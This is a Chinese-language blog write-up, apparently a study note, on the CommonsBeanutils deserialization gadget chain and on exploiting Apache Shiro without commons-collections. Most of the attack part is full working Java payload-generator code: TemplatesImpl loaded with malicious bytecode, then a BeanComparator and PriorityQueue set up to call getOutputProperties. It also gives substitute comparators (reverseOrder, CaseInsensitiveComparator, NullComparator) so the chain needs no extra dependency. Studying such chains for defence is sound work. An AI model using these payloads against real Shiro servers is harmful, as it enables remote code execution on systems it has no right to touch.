CommonsBeanutils链与无commons collections的shiro反序列化利用

在cc2中,我们知道可以在commons-collections4通过java.util.Comparator打 java.util.PriorityQueue链;

这篇文章主要探讨之一是是否可以通过java.util.Comparator打其他的链子;

首先,还是先找谁可以调用这个Comparator类的compare方法;

我们在org.apache.commons.beanutils.BeanComparator下找到了compare方法,(毕竟参考p牛的文章,这里就先入为主地引入了)

这里先介绍一下commons.beanutils,从前缀可以看到这是是 Apache Commons 工具集下的另一个项目,

Apache Commons BeanUtils 是 Apache Commons 项目中的一个核心工具库,专注于简化 JavaBean 的操作。它通过反射机制提供了一套高效、灵活的 API,用于动态读写 JavaBean 的属性、类型转换及对象拷贝等

那什么是javabean呢;

简单来说就是一种代码编写规范;主要用于封装业务逻辑、数据操作或界面元素,实现代码模块化和跨平台复用

通过属性私有化+接口方法公有化方式进行一些类的编写;

简单来说就是要访问/操作这个类的属性时候,只能通过公有接口操作(通过公共的 getter/setter方法读写)

比如说以下代码

import java.io.Serializable;

public class UserBean implements Serializable {  // 实现序列化接口
// 1. 私有属性(驼峰命名,首字母小写)
private String userName;
private int age;
private boolean isVip; // 布尔类型属性 // 2. 无参公共构造器(必须)
public UserBean() {} // 3. 有参构造器(非必须,但方便初始化)
public UserBean(String userName, int age, boolean isVip) {
this.userName = userName;
this.age = age;
this.isVip = isVip;
} // 4. 公共的 getter/setter 方法(命名规范)
// 字符串属性
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
} // 整型属性
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
} // 布尔属性(getter 可用 isXxx() 形式)
public boolean isVip() { // 推荐 isXxx() 命名
return isVip;
}
public void setVip(boolean isVip) {
this.isVip = isVip;
}
}

回到正题,我们在commons.beanutils中找到了compare方法,接下来,看如何利用;

可以看到在BeanComparator,其实从命名也可以猜出来这是一个比较器,构造函数中我们可控且可以进行构造恶意字节码然后传入;

初始化

对比cc2中用到的 transformingComparator

我们发现这里的BeanComparatorcompare方法中并没有调用transform函数;该怎么办呢?

 public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException iae) {
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException ite) {
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException nsme) {
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

但我们发现它调用了PropertyUtils.getProperty这个方法:

作用:通过反射调用目标对象的 Getter 方法 获取属性值,简单来说就是通过getter方法获取对象属性值

例如

User user = new User("张三", 25);
String name = (String) PropertyUtils.getProperty(user, "name"); // 调用 getName()
Integer age = (Integer) PropertyUtils.getProperty(user, "age"); // 调用 getAge()

但这样有什么用呢?

我们思考一下,假设这里是我们的"注入点",我们应该怎么进行注入;

transform应该不行,这里没有调用这个函数的方法;这没有支持触发这个函数的"链"

自然而然我们想到使用动态加载字节码的方式;

但动态加载字节码需要反射调用TemplatesImpl的构造器,也就是newTransformer();

这里有没有transform方法进行实例化;怎么触发呢

我们回顾一下TemplatesImpl链

attacker calls -> TemplatesImpl.getOutputProperties() [public]
-> TemplatesImpl.newTransformer() [public]
-> TemplatesImpl.getTransletInstance() [private]
-> TemplatesImpl.defineTransletClasses() [private]
-> (new TransletClassLoader()).defineClass(byte[] b) [default]

发现链子开头就调用了 TemplatesImpl.getOutputProperties() [public]

其代码中也是标准的Getter写法;

因此我们只需要控制PropertyUtils.getProperty去调用TemplatesImpl.getOutputProperties()不就可以把字节码注入进去了;

确实如此

首先构建TemplatesImpl

  byte[] code=  Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

对比较器BeanComparator实例化;

   final BeanComparator comparator = new BeanComparator(property, String.CASE_INSENSITIVE_ORDER);

再对优先队列queue进行实例化;并添加两个无害的数据;防止compare比较出错,因为 comparer类型为String.CASE_INSENSITIVE_ORDER,所以queue.add("1");

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

最后通过反射修改数据将BeanComparator 中的修改property修改成getoutputProperties 和queue的1改成TemplatesImpl对象,这样就会调用getoutputProperties()触发TemplatesImpl恶意字节码链;

  setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

payload

package com.govuln.shiroattack;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates}); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(queue);
oss.close(); System.out.println(outputStream); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
}

最后也是弹出计算器了

shiro无commons-collections依赖反序列化漏洞利用

首先我们知道;shiro550中其实有保存有CommonsBeanutils 1.8.3的依赖的(有的版本可能已经删除)

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collection的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

这时候就需要无依赖的Shiro反序列化利用链

思路之一:找一个等效果的类进行替换

这个类必须可以序列化:实现了java.io.Serializable 接口

这个必须是比较器类:实现了 java.util.Comparator 接口

可兼容且没有外部依赖:Java、shiro或commons-beanutils自带,且兼容性强

我们先看BeanComparator为什么需要commons-collections的依赖;

从BeanComparator源码中可以看到BeanComparator默认依赖引用了commons-collectionsComparableComparator;在参数缺省时会默认使用commons-collections的ComparableComparator;那在没有这个库依赖时呢;

也就是说 这时候就需要寻找一个Java/shiro/commons-beanutils原生且实现Comparator和Serializable的替代类,避免外部依赖

通过idea找到同时实现了Comparator和Serializable的类有

ReverseComparator2,NullComparator,ReverseComparator,CaseInsensitiveComparator

经发现有的是私有的,无法直接实例化;

发现ReverseComparator和CaseInsensitiveComparator可以完美调用;

以下给出ReverseComparator版本的代码,p牛给出的是CaseInsensitiveComparator版本的,由于原理都一样,只需要将代码中 Collections.reverseOrder()换成String.CASE_INSENSITIVE_ORDER即可,其实有个细节就是 Collections.reverseOrder()依赖的是 java.util.Collections;类,而CASE_INSENSITIVE_ORDER依赖java.lang.String类 ,虽然都可以是原生类,但String类更为常见一些

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator; import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue; public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1"); setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj}); // ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); return barr.toByteArray();
}
}

;

这里给出新尝试的函数NullComparator(false)发现也是可以的;

只需要把以上的payload

final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

修改成

final BeanComparator comparator = new BeanComparator(null, new NullComparator(false));

即可

总结:本文中讲述了CB链的利用和打法:通过getter获取TemplatesImp链中的getoutputProperties方法触发这条链,从而加载字节码;

以及shiro反序列化的无依赖打法:利用java/shiro/commons-beanutils原生类的构造器绕过BeanComparator构造函数的缺省默认commons-collections构造器去触发readobject->...->compare函数的反序列化链;

-------------------------------------------备注----------------------------------------------

参考p牛->知识星球->代码审计->java系列文章

CommonsBeanutils链与无commons collections的shiro反序列化利用的更多相关文章

  1. Shiro反序列化利用

    Shiro反序列化利用 前言:hvv单位这个漏洞挺多的,之前没专门研究打法,特有此篇文章. Shiro rememberMe反序列化漏洞(Shiro-550) 漏洞原理 Apache Shiro框架提 ...

  2. CB利用链及无依赖打Shiro

    前言 前面已经学习了CC1到CC7的利用链,其中在CC2中认识了java.util.PriorityQueue ,它在Java中是一个优先队列,队列中每一个元素有自己的优先级.在反序列化这个对象时,为 ...

  3. Apache Commons Collections 反序列化详细分析学习总结

    0x01.环境准备: Apache Commons Collections 3.1版本,下载链接参考: https://www.secfree.com/a/231.html jd jui地址(将jar ...

  4. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  5. 关于java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap的错误解决办法

    在JavaEE开发中,在把配置文件中的数据或用户表单提交上来的数据,封装在相应JavaBean的对象的对应属性中时:在实际开发中,使用第三方法工具包BeanUtils(commons-beanutil ...

  6. java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap报错解决

    在使用 commons-beanutils-1.9.2.jarcommons-logging-1.1.1.jar 的时候报错 java.lang.NoClassDefFoundError: org/a ...

  7. java.lang.ClassNotFoundException: org.apache.commons.collections.FastHashMap

    七月 26, 2017 1:52:15 上午 org.apache.catalina.core.StandardWrapperValve invoke严重: Servlet.service() for ...

  8. 出现java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap错误问题解决

    首先出现这个问题,你应该是用了 BeanUtils.populate(meter,map); import org.apache.commons.beanutils.BeanUtils;并且导入了co ...

  9. Apache Common-collection 反序列化利用链解析--TransformedMap链

    Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...

  10. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

随机推荐

  1. 『Plotly实战指南』--架构与设计理念

    在数据科学和数据分析领域,数据可视化是理解数据和传达信息的关键环节. Python 作为最受欢迎的编程语言之一,拥有众多强大的可视化库,而 Plotly 无疑是其中的佼佼者. 本文将深入介绍 Plot ...

  2. 【BUG】axios 长数字精度丢失问题

    问题原因 出现改问题是于javascript 整数范围问题 java 中 Long 类型 -2的63次方 - 2的63次方减去1 但是javascript整数范围确没有那么大,导致Long数字过大前端 ...

  3. linux测试url的访问速度

    在Linux中,你可以使用curl命令来测试URL的访问速度.curl是一个强大的命令行工具,可以用于文件传输和测试网络连接. 以下是使用curl测试URL访问速度的步骤: 打开终端或命令行界面. 输 ...

  4. go time包:秒、毫秒、纳秒时间戳输出

    时间戳 10 位数的是以 秒 为单位: 13 位数的是以 毫秒 为单位: 19 位数的是以 纳秒 为单位: golang 中可以这样写: package main import ( "fmt ...

  5. 人工智能-A*算法-最优路径搜索实验

    上次学会了<A*算法-八数码问题>,初步了解了A*算法的原理,本次再用A*算法完成一个最优路径搜索实验. 一.实验内容1. 设计自己的启发式函数.2. 在网格地图中,设计部分障碍物.3. ...

  6. Linux脚本-自动运维部署脚本

    背景 公司正常的业务流程是生产服务器上部署的一个程序去读取数据库,并获取所有ip信息,启动socket连接,发送相关业务指令. 目前有一个需求,需要单独测试一个ip,这个单独的ip需要使用另外的程序测 ...

  7. 『Plotly实战指南』--饼图绘制高级篇

    在数据可视化的世界里,饼图是最直观的展示比例关系的工具之一. 然而,传统的静态饼图已经无法满足现代数据分析的需求.Plotly作为一款强大的可视化库,不仅提供了饼图丰富的基础功能,还支持交互效果和动态 ...

  8. Rubymine搭建Ruby开发环境

    1.下载和安装Ruby 下载链接:https://rubyinstaller.org/downloads/ 安装示意图: 注意勾选图示的两个选项 安装完成后在cmd窗口运行:ruby -v命令显示当前 ...

  9. vue2&vue3&小程序简介

    Vue2.Vue3.小程序页面生命周期详解 本篇将对比 Vue2.Vue3 以及小程序页面/组件的生命周期,简单梳理各自特点.差异.新增优化点. Vue2 生命周期 beforeCreate → cr ...

  10. spring-boot静态资源目录配置

    spring-boot静态资源目录配置(配置js.css.图片等资源的位置) spring-boot静态资源默认为/src/main/resources下的/static目录,可以通过applicat ...